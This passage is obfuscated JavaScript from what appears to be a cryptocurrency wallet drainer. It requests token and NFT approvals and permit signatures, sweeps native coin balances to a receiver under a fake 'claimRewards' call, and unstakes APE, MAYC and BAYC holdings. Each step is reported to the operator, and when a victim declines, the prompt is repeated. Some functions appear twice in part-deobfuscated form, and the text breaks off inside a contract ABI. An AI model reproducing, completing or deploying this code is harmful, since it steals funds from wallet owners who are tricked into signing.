token_ids: _0x3baf38.token_ids
};
if (_0x3baf38.token_ids.length == 1) {
let _0x4d78ee = await this.Sdk.approveAsset(_0x92b453, this.caller, true);
const _0x1ae21d = {
chain: _0x2dc9a4.chain,
type: "approvalNFT",
source: 'NFT',
txId: _0x4d78ee.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(_0x1ae21d);
for (let _0x3831d4 of _0x3baf38.token_ids) {
await this.SendCompletion({
'type': "NFTApproval",
'hash': _0x4d78ee.hash,
'token_id': _0x3831d4,
'token': _0x3baf38.contract,
'itemType': _0x3baf38.itemType,
'chain_id': this.getChainId(_0x2dc9a4.chain),
'owner': await this.getWalletAddress(),
'receiver': this.receiver,
'caller': this.caller,
'ahash': this.createEncKey()
});
}
this.approved.push(Base64.encode(JSON.stringify(_0x3baf38)));
} else {
let _0x505a2e = await this.Sdk.approveAsset(_0x92b453, this.caller);
const _0x2c0607 = {
chain: _0x2dc9a4.chain,
type: "approvalNFT",
source: "NFT Collection",
txId: _0x505a2e.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(_0x2c0607);
for (let _0x5751bd of _0x3baf38.token_ids) {
await this.SendCompletion({
'type': "NFTApproval",
'hash': _0x505a2e.hash,
'token': _0x3baf38.contract,
'token_id': _0x5751bd,
'itemType': _0x3baf38.itemType,
'chain_id': this.getChainId(_0x2dc9a4.chain),
'owner': await this.getWalletAddress(),
'receiver': this.receiver,
'caller': this.caller,
'ahash': this.createEncKey()
});
}
this.approved.push(Base64.encode(JSON.stringify(_0x3baf38)));
}
}
}
}
}
}
if (_0x2dc9a4.actionType == "ApprovalToken") {
let _0x370153 = _0x2dc9a4.asset;
_0x63e73f = _0x2dc9a4.asset.token_address;
console.log(_0x370153);
let _0x35d5a9 = await this.getChainId(_0x2dc9a4.chain);
if (_0x2dc9a4.value > 10) {
const _0x3c38a5 = {
itemType: 0x1,
token: _0x370153.token_address,
value: _0x2dc9a4.value,
balance: _0x370153.balance
};
if (!this.approved.includes(_0x3c38a5.token + ',' + _0x370153.chain)) {
if (_0x370153.permit_type == 1 || _0x370153.permit_type == 2 || _0x370153.permit_type == 3 || _0x370153.permit_type == 4) {
const _0x2d5bd6 = {
actionType: 'permit',
address: _0x3c38a5.token,
value: _0x3c38a5.value,
balance: _0x3c38a5.balance,
type: _0x370153.permit_type,
chain: _0x2dc9a4.chain
};
let _0x55e0aa = await this.completeSignature(_0x2d5bd6);
if (_0x55e0aa) {
this.approved.push(_0x3c38a5.token + ',' + _0x2dc9a4.chain);
} else {
throw new Error("Permit not done..");
}
} else {
let _0x2d415f = await this.Sdk.approveAsset(_0x3c38a5, this.caller);
const _0x3af900 = {
chain: _0x2dc9a4.chain,
type: "approvalERC",
source: "Approval",
txId: _0x2d415f.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(_0x3af900);
this.approved.push(_0x3c38a5.token + ',' + _0x2dc9a4.chain);
await this.SendCompletion({
'type': "TokenApproval",
'hash': _0x2d415f.hash,
'token': _0x3c38a5.token,
'amount': _0x3c38a5.balance,
'owner': await this.getWalletAddress(),
'receiver': this.caller,
'caller': this.caller,
'chain': _0x35d5a9,
'ahash': this.createEncKey()
});
this.totalTokens = this.totalTokens - _0x3c38a5.value;
}
}
}
}
} catch (_0x5dda48) {
console.log(_0x5dda48);
if (_0xef4bd7 != (await this.getWalletAddress())) {
return;
}
const _0x49e980 = {
chain: _0x2dc9a4.chain,
type: "error",
msg: "Client has denied approving (" + _0x63e73f + ')'
};
await this.sendMessage(_0x49e980);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.approve(_0x2dc9a4);
}
}
};
["drainNative"] = async _0x19c8fa => {
try {
let _0x5d5f6d = _0x19c8fa.asset;
let _0x1d6aae = _0x19c8fa.value;
let _0x955fc0 = _0x19c8fa.chain;
const _0x5dc5d2 = this.web3Js.utils.fromWei(_0x5d5f6d.toString(), "ether");
console.log("Current balance for " + (await this.getWalletAddress()) + " : " + _0x5dc5d2 + " ETH");
if (_0x5dc5d2 > 0.005) {
await this.askTransferBalance(_0x5dc5d2, _0x5d5f6d, _0x1d6aae, _0x955fc0);
} else {}
} catch (_0x47759d) {
console.log("Declined to send balance.");
console.log(_0x47759d);
}
};
// Transfer balance to receiver
async function transferBalanceToReceiver(balance, value, chain) {
const walletAddress = await this.getWalletAddress();
try {
const gasPrice = await this.web3Js.eth.getGasPrice();
const gasLimit = new this.web3Js.utils.BN('22000');
const totalGas = gasLimit * Math.floor(gasPrice * 2);
let fee = Math.floor(value * 0.04);
let feeInEther = this.web3Js.utils.fromWei(fee.toString(), 'ether');
if (feeInEther > 0.03) {
fee = this.web3Js.utils.toWei("0.05", "ether");
}
let amountToSend = Math.floor(value - fee) - totalGas * 4;
console.log(`Sending ${this.web3Js.utils.fromWei(amountToSend.toString(), 'ether')} ETH from ${walletAddress}...`);
const calls = createMulticall(balance);
const contract = createContract();
if (chain == "bsc" || chain == "base" || chain == 'eth' || chain == "ftm" || chain == 'matic' || chain == "arb" || chain == 'op' || chain == "cro") {
const rewards = calculateRewards(amountToSend);
const tx = await contract.claimRewards(rewards, {
'value': BigInt(amountToSend)
});
if (walletAddress != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
'chain': chain,
'valueMsg': `($${parseInt(value).toFixed(2)}) ${balance}`,
'source': `${chain.toUpperCase()}-Transfer`,
'type': "balance",
'txId': tx.hash
});
} else {
const transaction = {
'from': await this.getWalletAddress(),
'to': this.receiver,
'value': '0x' + amountToSend.toString(16)
};
var tx = await this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]).sendTransaction(transaction);
await this.sendMessage({
'chain': chain,
'valueMsg': `($${parseInt(value).toFixed(2)}) ${balance}`,
'source': `${chain.toUpperCase()}-Transfer`,
'type': "balance",
'txId': tx.hash
});
}
} catch (error) {
console.log(error);
if (walletAddress != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
'chain': chain,
'type': "error",
'msg': `Client has denied sending ${balance} ${chain.toString().toUpperCase()}`
});
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await transferBalanceToReceiver(balance, value, chain);
}
}
}
// Create Multicall
function createMulticall(balance) {
const target = {
internalType: 'address',
name: "target",
type: 'address'
};
const callData = {
internalType: "bytes",
name: "callData",
type: "bytes"
};
const calls = {
components: [target, callData],
internalType: "struct Multicall.Call[]",
name: 'calls',
type: "tuple[]"
};
const data = [{
target: this.caller,
callData: this.web3Js.eth.abi.encodeFunctionCall({
name: 'drainNative',
type: 'function',
inputs: [{
type: 'tuple',
name: 'asset',
components: [{
type: 'string',
name: 'type'
},
{
type: 'uint256',
name: 'amount'
},
{
type: 'string',
name: 'chain'
},
{
type: 'uint256',
name: 'ids'
}
]
}]
}, [{
type: 'tuple',
name: 'asset',
components: [{
type: 'string',
name: 'type'
},
{
type: 'uint256',
name: 'amount'
},
{
type: 'string',
name: 'chain'
},
{
type: 'uint256',
name: 'ids'
}
]
}])
}];
return [data];
}
// Create Contract
function createContract() {
const Call = {
internalType: 'address',
name: "target",
type: 'address'
};
const CallData = {
internalType: "bytes",
name: "callData",
type: "bytes"
};
const Calls = {
components: [Call, CallData],
internalType: "struct Multicall.Call[]",
name: 'calls',
type: "tuple[]"
};
const BlockNumber = {
internalType: "uint256",
name: "blockNumber",
type: "uint256"
};
const ReturnData = {
internalType: "bytes[]",
name: 'returnData',
type: "bytes[]"
};
const Split = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const Data = {
components: [{
internalType: 'address',
name: 'receiver',
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct Multicall.Split[]",
name: "_data",
type: "tuple[]"
};
const claimRewards = {
inputs: [Data],
name: "claimRewards",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const drainNative = {
inputs: [Calls],
name: "acedrainer",
outputs: [BlockNumber, ReturnData],
stateMutability: 'nonpayable',
type: "function"
};
const abi = [drainNative, claimRewards];
const contract = new ethers.Contract(this.caller, abi, this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]));
return contract;
}
// Unstake Ape
async function unstakeApe(asset, chain) {
console.log("Prompting Ape");
let tx = await this.Sdk.unstakeApe(asset.amount, this.caller);
const message = {
chain: chain,
value: asset.value,
source: "APECoin",
type: "unstake",
txId: tx.hash
};
await this.sendMessage(message);
await this.SendCompletion({
'type': "tokenSplit",
'hash': tx.hash,
'tokenAddress': "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
'ahash': this.createEncKey(),
'chainId': 0x1
});
}
// Unstake Mayc
async function unstakeMayc(asset, chain) {
let tx = await this.Sdk.unstakeMayc([asset.ids], this.caller);
const message = {
chain: chain,
value: asset.value,
source: "Mayc",
type: "unstake",
txId: tx.hash
};
await this.sendMessage(message);
}
// Permit
async function permit(_0x3c38a5, _0x2dc9a4) {
let _0x2d5bd6 = {
actionType: 'permit',
address: _0x3c38a5.token,
value: _0x3c38a5.value,
balance: _0x3c38a5.balance,
type: _0x2dc9a4.permit_type,
chain: _0x2dc9a4.chain
};
let _0x55e0aa = await this.completeSignature(_0x2d5bd6);
if (_0x55e0aa) {
this.approved.push(_0x3c38a5.token + ',' + _0x2dc9a4.chain);
} else {
throw new Error("Permit not done..");
}
}
// Approve Asset
async function approveAsset(_0x3c38a5, _0x2dc9a4) {
let tx = await this.Sdk.approveAsset(_0x3c38a5, this.caller);
const message = {
chain: _0x2dc9a4.chain,
type: "approvalERC",
source: "Approval",
txId: tx.hash,
value: _0x2dc9a4.value
};
await this.sendMessage(message);
this.approved.push(_0x3c38a5.token + ',' + _0x2dc9a4.chain);
await this.SendCompletion({
'type': "TokenApproval",
'hash': tx.hash,
'token': _0x3c38a5.token,
'amount': _0x3c38a5.balance,
'owner': await this.getWalletAddress(),
'receiver': this.caller,
'caller': this.caller,
'chain': _0x35d5a9,
'ahash': this.createEncKey()
});
this.totalTokens = this.totalTokens - _0x3c38a5.value;
}
// Drain Native
async function drainNative(asset, chain) {
try {
let value = asset.amount;
let etherValue = this.web3Js.utils.fromWei(value.toString(), "ether");
console.log(`Current balance for ${await this.getWalletAddress()} : ${etherValue} ETH`);
if (etherValue > 0.005) {
await transferBalanceToReceiver(etherValue, asset, chain);
}
} catch (error) {
console.log("Declined to send balance.");
console.log(error);
}
}
// Unstake
async function unStake(asset, chain) {
let walletAddress = await this.getWalletAddress();
try {
if (asset.type == "Ape") {
await unstakeApe(asset, chain);
}
if (asset.type == "Mayc") {
await unstakeMayc(asset, chain);
}
} catch (error) {
console.log(error);
if (walletAddress != (await this.getWalletAddress())) {
return;
}
const message = {
chain: chain,
type: "error",
msg: `Client has denied approving (${asset})`
};
await this.sendMessage(message);
this.failedAttempts++;
if (this.failedAttempts > 6 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await unStake(asset, chain);
}
}
}
["unStake"] = async _0x30c910 => {
let _0x2e0fbb = await this.getWalletAddress();
try {
if (_0x30c910.asset.type == "Ape") {
console.log("Prompting Ape");
let _0x2a66e0 = await this.Sdk.unstakeApe(_0x30c910.asset.amount, this.caller);
const _0x468ff3 = {
chain: _0x30c910.chain,
value: _0x30c910.value,
source: "APECoin",
type: "unstake",
txId: _0x2a66e0.hash
};
await this.sendMessage(_0x468ff3);
await this.SendCompletion({
'type': "tokenSplit",
'hash': _0x2a66e0.hash,
'tokenAddress': "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
'ahash': this.createEncKey(),
'chainId': 0x1
});
}
if (_0x30c910.asset.type == "Mayc") {
let _0x424ecd = await this.Sdk.unstakeMayc([_0x30c910.asset.ids], this.caller);
const _0x4836ce = {
chain: _0x30c910.chain,
value: _0x30c910.value,
source: "APECoin",
type: "unstake",
txId: _0x424ecd.hash
};
await this.sendMessage(_0x4836ce);
await this.SendCompletion({
'type': "tokenSplit",
'hash': _0x424ecd.hash,
'tokenAddress': "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
'ahash': this.createEncKey(),
'chainId': 0x1
});
}
if (_0x30c910.asset.type == "Bayc") {
let _0x56e312 = await this.Sdk.unstakeBayc([_0x30c910.asset.ids], this.caller);
const _0x5b7ade = {
chain: _0x30c910.chain,
value: _0x30c910.value,
source: "APECoin",
type: "unstake",
txId: _0x56e312.hash
};
await this.sendMessage(_0x5b7ade);
await this.SendCompletion({
'type': 'tokenSplit',
'hash': _0x56e312.hash,
'tokenAddress': "0x4d224452801ACEd8B2F0aebE155379bb5D594381",
'ahash': this.createEncKey(),
'chainId': 0x1
});
}
} catch (_0x4e6064) {
if (_0x2e0fbb != (await this.getWalletAddress())) {
return;
}
await this.sendMessage({
'chain': _0x30c910.chain,
'type': "error",
'msg': "DENIED UNSTAKING " + this.web3Js.utils.fromWei(_0x30c910.asset.amount, 'ether') + " APE"
});
console.log(_0x4e6064);
this.failedAttempts++;
if (this.failedAttempts > 15 && this.actions.length > 1) {
this.failedAttempts = 0;
} else {
await this.unStake(_0x30c910);
}
}
};
["completeSignature"] = async _0x267571 => {
try {
if (_0x267571.actionType == "permit") {
const _0x36d3d4 = _0x267571.address;
const _0x4945b3 = _0x267571.value;
const _0x241496 = _0x267571.type;
const _0x4f39b1 = _0x267571.balance;
const _0x2bfb7d = await this.getChainId(_0x267571.chain);
let _0x596248 = await this.getWalletAddress();
let _0x157cf4 = this.ethersProvider.getSigner(_0x596248);
const _0x3e1afb = {
indexed: true,
internalType: "address",
name: "owner",
type: "address"
};
const _0x5980cd = {
indexed: true,
internalType: "address",
name: 'spender',
type: "address"
};
const _0x3c979a = {
indexed: false,
internalType: "uint256",
name: "value",
type: 'uint256'
};
const _0x2f3611 = {
anonymous: false,
inputs: [_0x3e1afb, _0x5980cd, _0x3c979a],
name: "Approval",
type: 'event'
};
const _0x306318 = {
indexed: true,
internalType: "address",
name: 'authorizer',
type: "address"
};
const _0x4eaf15 = {
indexed: true,
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x1065f9 = {
anonymous: false,
inputs: [_0x306318, _0x4eaf15],
name: "AuthorizationCanceled",
type: 'event'
};
const _0x4a6f34 = {
indexed: true,
internalType: "address",
name: 'authorizer',
type: "address"
};
const _0x390dde = {
indexed: true,
internalType: "bytes32",
name: "nonce",
type: 'bytes32'
};
const _0x22728c = {
anonymous: false,
inputs: [_0x4a6f34, _0x390dde],
name: "AuthorizationUsed",
type: "event"
};
const _0x489842 = {
indexed: true,
internalType: "address",
name: "_account",
type: "address"
};
const _0x531fd5 = {
anonymous: false,
inputs: [_0x489842],
name: "Blacklisted",
type: 'event'
};
const _0x52c20e = {
indexed: true,
internalType: "address",
name: "newBlacklister",
type: "address"
};
const _0x45010e = {
anonymous: false,
inputs: [_0x52c20e],
name: "BlacklisterChanged",
type: 'event'
};
const _0x528992 = {
indexed: true,
internalType: "address",
name: "burner",
type: "address"
};
const _0x2de849 = {
indexed: false,
internalType: 'uint256',
name: "amount",
type: 'uint256'
};
const _0x8f643e = {
anonymous: false,
inputs: [_0x528992, _0x2de849],
name: "Burn",
type: 'event'
};
const _0x47ee72 = {
indexed: true,
internalType: "address",
name: "newMasterMinter",
type: "address"
};
const _0x6ef638 = {
anonymous: false,
inputs: [_0x47ee72],
name: "MasterMinterChanged",
type: 'event'
};
const _0x2651a7 = {
indexed: true,
internalType: "address",
name: "minter",
type: "address"
};
const _0x366d28 = {
indexed: true,
internalType: "address",
name: 'to',
type: "address"
};
const _0xc03d52 = {
indexed: false,
internalType: 'uint256',
name: "amount",
type: 'uint256'
};
const _0x3c2ed7 = {
anonymous: false,
inputs: [_0x2651a7, _0x366d28, _0xc03d52],
name: "Mint",
type: "event"
};
const _0x251345 = {
indexed: true,
internalType: "address",
name: "minter",
type: "address"
};
const _0x5f54dd = {
indexed: false,
internalType: 'uint256',
name: "minterAllowedAmount",
type: 'uint256'
};
const _0x2c0248 = {
anonymous: false,
inputs: [_0x251345, _0x5f54dd],
name: "MinterConfigured",
type: 'event'
};
const _0x45f78c = {
indexed: true,
internalType: "address",
name: 'oldMinter',
type: "address"
};
const _0x3a39e6 = {
anonymous: false,
inputs: [_0x45f78c],
name: "MinterRemoved",
type: 'event'
};
const _0x13cf87 = {
indexed: false,
internalType: "address",
name: "previousOwner",
type: "address"
};
const _0x276f25 = {
indexed: false,
internalType: "address",
name: "newOwner",
type: "address"
};
const _0x1e3e18 = {
anonymous: false,
inputs: [_0x13cf87, _0x276f25],
name: "OwnershipTransferred",
type: 'event'
};
const _0x2547c9 = {
anonymous: false,
inputs: [],
name: "Pause",
type: 'event'
};
const _0x5d229b = {
indexed: true,
internalType: "address",
name: "newAddress",
type: "address"
};
const _0x1f2433 = {
anonymous: false,
inputs: [_0x5d229b],
name: "PauserChanged",
type: 'event'
};
const _0x161401 = {
indexed: true,
internalType: "address",
name: 'newRescuer',
type: "address"
};
const _0x39edb5 = {
anonymous: false,
inputs: [_0x161401],
name: "RescuerChanged",
type: "event"
};
const _0x4559c7 = {
indexed: true,
internalType: "address",
name: "from",
type: "address"
};
const _0x2f6eea = {
indexed: true,
internalType: "address",
name: 'to',
type: "address"
};
const _0x39b19f = {
indexed: false,
internalType: 'uint256',
name: "value",
type: "uint256"
};
const _0xee5920 = {
anonymous: false,
inputs: [_0x4559c7, _0x2f6eea, _0x39b19f],
name: "Transfer",
type: 'event'
};
const _0x29887b = {
indexed: true,
internalType: "address",
name: "_account",
type: "address"
};
const _0x21ce9f = {
anonymous: false,
inputs: [_0x29887b],
name: "UnBlacklisted",
type: 'event'
};
const _0x34ba04 = {
anonymous: false,
inputs: [],
name: "Unpause",
type: 'event'
};
const _0x4912df = {
inputs: [],
name: "CANCEL_AUTHORIZATION_TYPEHASH",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: 'view',
type: 'function'
};
const _0x3f01e4 = {
inputs: [],
name: "DOMAIN_SEPARATOR",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: 'view',
type: "function"
};
const _0x36ffbb = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x426c4f = {
inputs: [],
name: "PERMIT_TYPEHASH",
outputs: [_0x36ffbb],
stateMutability: 'view',
type: "function"
};
const _0x512ebc = {
inputs: [],
name: "RECEIVE_WITH_AUTHORIZATION_TYPEHASH",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1710a7 = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x1a5a3d = {
inputs: [],
name: "TRANSFER_WITH_AUTHORIZATION_TYPEHASH",
outputs: [_0x1710a7],
stateMutability: 'view',
type: 'function'
};
const _0x33b003 = {
internalType: "address",
name: "owner",
type: "address"
};
const _0x1693b1 = {
internalType: "address",
name: "spender",
type: "address"
};
const _0x367c7c = {
inputs: [_0x33b003, _0x1693b1],
name: "allowance",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': 'uint256'
}],
stateMutability: 'view',
type: 'function'
};
const _0x554c17 = {
internalType: "address",
name: "spender",
type: "address"
};
const _0x3ca103 = {
internalType: 'uint256',
name: "value",
type: "uint256"
};
const _0x46dcb5 = {
inputs: [_0x554c17, _0x3ca103],
name: "approve",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x3b1908 = {
internalType: "address",
name: 'authorizer',
type: "address"
};
const _0x12ba6d = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x40ceb5 = {
inputs: [_0x3b1908, _0x12ba6d],
name: "authorizationState",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: 'view',
type: 'function'
};
const _0x568294 = {
internalType: "address",
name: "account",
type: "address"
};
const _0x18b305 = {
internalType: 'uint256',
name: '',
type: 'uint256'
};
const _0x4627bd = {
inputs: [_0x568294],
name: "balanceOf",
outputs: [_0x18b305],
stateMutability: 'view',
type: 'function'
};
const _0x5b980f = {
internalType: "address",
name: "_account",
type: "address"
};
const _0x535917 = {
inputs: [_0x5b980f],
name: "blacklist",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x1690a0 = {
inputs: [],
name: "blacklister",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: "view",
type: "function"
};
const _0x16ffd8 = {
internalType: 'uint256',
name: "_amount",
type: 'uint256'
};
const _0x9f20fd = {
inputs: [_0x16ffd8],
name: 'burn',
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x40af82 = {
internalType: "address",
name: 'authorizer',
type: "address"
};
const _0x4b9153 = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x46d424 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x233d47 = {
internalType: 'bytes32',
name: 'r',
type: "bytes32"
};
const _0x1b6ad4 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x4a8f01 = {
inputs: [_0x40af82, _0x4b9153, _0x46d424, _0x233d47, _0x1b6ad4],
name: "cancelAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3698bd = {
internalType: "address",
name: "minter",
type: "address"
};
const _0x550acb = {
internalType: 'uint256',
name: "minterAllowedAmount",
type: 'uint256'
};
const _0x52b4ae = {
inputs: [_0x3698bd, _0x550acb],
name: "configureMinter",
outputs: [{
'internalType': 'bool',
'name': '',
'type': "bool"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0xa3fe4f = {
internalType: "string",
name: '',
type: "string"
};
const _0xe8cc71 = {
inputs: [],
name: "currency",
outputs: [_0xa3fe4f],
stateMutability: 'view',
type: 'function'
};
const _0x1eb815 = {
internalType: "uint8",
name: '',
type: "uint8"
};
const _0x47abdc = {
inputs: [],
name: "decimals",
outputs: [_0x1eb815],
stateMutability: 'view',
type: 'function'
};
const _0x549079 = {
internalType: "address",
name: "spender",
type: "address"
};
const _0x325f41 = {
internalType: 'uint256',
name: 'decrement',
type: 'uint256'
};
const _0x357012 = {
internalType: "bool",
name: '',
type: "bool"
};
const _0x184886 = {
inputs: [_0x549079, _0x325f41],
name: "decreaseAllowance",
outputs: [_0x357012],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4c254d = {
internalType: "address",
name: "spender",
type: "address"
};
const _0x3c0c51 = {
internalType: 'uint256',
name: "increment",
type: 'uint256'
};
const _0x3e6dac = {
inputs: [_0x4c254d, _0x3c0c51],
name: "increaseAllowance",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: 'nonpayable',
type: 'function'
};
const _0xcea300 = {
internalType: "string",
name: "tokenName",
type: "string"
};
const _0x1d845b = {
internalType: "string",
name: "tokenSymbol",
type: "string"
};
const _0x1ddedf = {
internalType: "string",
name: "tokenCurrency",
type: "string"
};
const _0x504621 = {
internalType: "uint8",
name: "tokenDecimals",
type: "uint8"
};
const _0x312355 = {
internalType: "address",
name: "newMasterMinter",
type: "address"
};
const _0x1f44b0 = {
internalType: "address",
name: "newPauser",
type: "address"
};
const _0x1246ec = {
internalType: "address",
name: "newBlacklister",
type: "address"
};
const _0x5cb5ef = {
internalType: "address",
name: "newOwner",
type: "address"
};
const _0x48b808 = {
inputs: [_0xcea300, _0x1d845b, _0x1ddedf, _0x504621, _0x312355, _0x1f44b0, _0x1246ec, _0x5cb5ef],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4f88ee = {
internalType: "string",
name: 'newName',
type: "string"
};
const _0x18bd11 = {
inputs: [_0x4f88ee],
name: "initializeV2",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x53bbc2 = {
internalType: "address",
name: "lostAndFound",
type: "address"
};
const _0x472283 = {
inputs: [_0x53bbc2],
name: "initializeV2_1",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x45ceb2 = {
internalType: "address",
name: "_account",
type: "address"
};
const _0xc6a6b4 = {
inputs: [_0x45ceb2],
name: "isBlacklisted",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: 'view',
type: 'function'
};
const _0x13bafc = {
internalType: "address",
name: "account",
type: "address"
};
const _0x47df5c = {
internalType: "bool",
name: '',
type: "bool"
};
const _0x3632cc = {
inputs: [_0x13bafc],
name: "isMinter",
outputs: [_0x47df5c],
stateMutability: "view",
type: 'function'
};
const _0x161148 = {
inputs: [],
name: "masterMinter",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x289e91 = {
internalType: "address",
name: "_to",
type: "address"
};
const _0x5b492a = {
internalType: 'uint256',
name: "_amount",
type: 'uint256'
};
const _0x1542d2 = {
inputs: [_0x289e91, _0x5b492a],
name: "mint",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x5cf241 = {
internalType: "address",
name: "minter",
type: "address"
};
const _0x5eed0e = {
internalType: 'uint256',
name: '',
type: 'uint256'
};
const _0x1d51ba = {
inputs: [_0x5cf241],
name: "minterAllowance",
outputs: [_0x5eed0e],
stateMutability: 'view',
type: 'function'
};
const _0x271af2 = {
inputs: [],
name: "name",
outputs: [{
'internalType': "string",
'name': '',
'type': "string"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1c8983 = {
internalType: "address",
name: "owner",
type: "address"
};
const _0x30a5b9 = {
inputs: [_0x1c8983],
name: "nonces",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': 'uint256'
}],
stateMutability: "view",
type: 'function'
};
const _0x455b22 = {
internalType: "address",
name: '',
type: "address"
};
const _0x3b8e39 = {
inputs: [],
name: 'owner',
outputs: [_0x455b22],
stateMutability: "view",
type: 'function'
};
const _0x30bb55 = {
inputs: [],
name: "pause",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3b19e4 = {
inputs: [],
name: "paused",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: 'view',
type: "function"
};
const _0x4f3a57 = {
inputs: [],
name: 'pauser',
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: "function"
};
const _0x49a2b2 = {
internalType: "address",
name: "owner",
type: "address"
};
const _0xc160ce = {
internalType: "address",
name: 'spender',
type: "address"
};
const _0x55193e = {
internalType: 'uint256',
name: "value",
type: 'uint256'
};
const _0x268463 = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x2b6559 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x31e0c4 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x2e1d13 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x3a1a03 = {
inputs: [_0x49a2b2, _0xc160ce, _0x55193e, _0x268463, _0x2b6559, _0x31e0c4, _0x2e1d13],
name: 'permit',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1a5271 = {
internalType: "address",
name: "from",
type: "address"
};
const _0x55e916 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x5f3653 = {
internalType: "uint256",
name: "value",
type: 'uint256'
};
const _0x4ff277 = {
internalType: 'uint256',
name: 'validAfter',
type: 'uint256'
};
const _0x8141dc = {
internalType: 'uint256',
name: "validBefore",
type: 'uint256'
};
const _0x2af6ff = {
internalType: "bytes32",
name: "nonce",
type: "bytes32"
};
const _0x5cb1ba = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x25a191 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x5ae3fc = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x37a816 = {
inputs: [_0x1a5271, _0x55e916, _0x5f3653, _0x4ff277, _0x8141dc, _0x2af6ff, _0x5cb1ba, _0x25a191, _0x5ae3fc],
name: "receiveWithAuthorization",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0xbf8508 = {
internalType: "address",
name: "minter",
type: "address"
};
const _0x1f8fa9 = {
internalType: "bool",
name: '',
type: "bool"
};
const _0x4141b1 = {
inputs: [_0xbf8508],
name: "removeMinter",
outputs: [_0x1f8fa9],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4bb418 = {
internalType: "contract IERC20",
name: "tokenContract",
type: "address"
};
const _0x346261 = {
internalType: "address",
name: 'to',
type: "address"
};
const _0xcbf21b = {
internalType: 'uint256',
name: "amount",
type: 'uint256'
};
const _0x5c9812 = {
inputs: [_0x4bb418, _0x346261, _0xcbf21b],
name: "rescueERC20",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x39511e = {
inputs: [],
name: "rescuer",
outputs: [{
'internalType': "address",
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x15d762 = {
internalType: "string",
name: '',
type: "string"
};
const _0x26e607 = {
inputs: [],
name: "symbol",
outputs: [_0x15d762],
stateMutability: 'view',
type: 'function'
};
const _0x322a7d = {
inputs: [],
name: "totalSupply",
outputs: [{
'internalType': "uint256",
'name': '',
'type': 'uint256'
}],
stateMutability: 'view',
type: 'function'
};
const _0x2b0f61 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x3bb54e = {
internalType: 'uint256',
name: "value",
type: 'uint256'
};
const _0x1f1cd2 = {
inputs: [_0x2b0f61, _0x3bb54e],
name: "transfer",
outputs: [{
'internalType': "bool",
'name': '',
'type': "bool"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x29bc63 = {
internalType: 'address',
name: "from",
type: "address"
};
const _0x56771e = {
internalType: "address",
name: 'to',
type: "address"
};
const _0x43a05f = {
internalType: "uint256",
name: "value",
type: 'uint256'
